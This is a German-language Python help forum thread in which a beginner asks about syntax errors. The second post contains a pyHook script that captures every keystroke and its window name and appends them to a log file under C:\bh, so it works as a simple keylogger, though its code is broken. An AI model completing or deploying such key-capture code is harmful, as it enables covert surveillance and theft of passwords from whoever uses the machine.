Seite 1 von 1

Invalid Syntax Problem

Verfasst: Donnerstag 10. Mai 2018, 19:06
von spargelZ
HEy ich habe ein Problem bei einem Code ich bekomme jedes mal als Fehlermeldung "invalid syntax"
Allerdings finde ich das Porblem nicht
Der Code ist
if event.Key.lower() in ('alt', 'tab', 'ctrl')

Vielen dank für jede Hilfe

Re: Invalid Syntax Problem

Verfasst: Donnerstag 10. Mai 2018, 19:25
von Sirius3
Da fehlt ein »:«.

Re: Invalid Syntax Problem

Verfasst: Sonntag 13. Mai 2018, 18:27
von spargelZ
Sirius3 hat geschrieben: Donnerstag 10. Mai 2018, 19:25 Da fehlt ein »:«.
Erstmal danke für deine Hilfe allerdings hat sich nun das nächste Problem ergeben

Code: Alles auswählen

import os
os.chdir("C:\\")
import pyHook
import pyGame
try:
    import os
    os.mkdir("bh")
except:
    pass
    open("C:\\bh\\log.log","w").close()
def OnKeyboardEvent(event):
    print ('MessageName:',event.MessageName)
    print ('Message:',event.Message)
    print ('Time:',event.Time)
    print ('Window:',event.Window)
    print ('WindowName:',event.WindowName)
    print ('Ascii:', event.Ascii, chr(event.Ascii))
    print ('Key:', event.Key)
    print ('KeyID:', event.KeyID)
    print ('ScanCode:', event.ScanCode)
    print ('Extended:', event.Extended)
    print ('Injected:', event.Injected)
    print ('Alt', event.Alt)
    print ('Transition', event.Transition)
    print ('---')
    i=open("C:\\bh\\log.log","a")
    i.write("Key:"+str(event.Key)+"\nTime:"+str(event.Time)+"\nWindow:"+str(event.Window)+"\nWindowName:"+str(event.WindowName)+"-"*10)
    i.close()
    if event.Key.lower(): ('alt', 'tab', 'ctrl')
        return False
    if not():
        return True
Vor return False kommt ein Fehler ("unexpected indent")
Und ich schaffe es nicht pyHook und pyGame zu importieren

Re: Invalid Syntax Problem

Verfasst: Sonntag 13. Mai 2018, 19:24
von __deets__
Du kannst programmieren nicht durch raten erlernen. Der Doppelpunkt ist da wo du ihn gesetzt hast falsch.

Wie es richtig geht zeigt das offizielle Tutorial: https://docs.python.org/3/tutorial/controlflow.htm

Und was heißt du schaffst es nicht, pygame etc zu importieren? Wie genau lautet die Fehlermeldung? Hast du die Pakete installiert?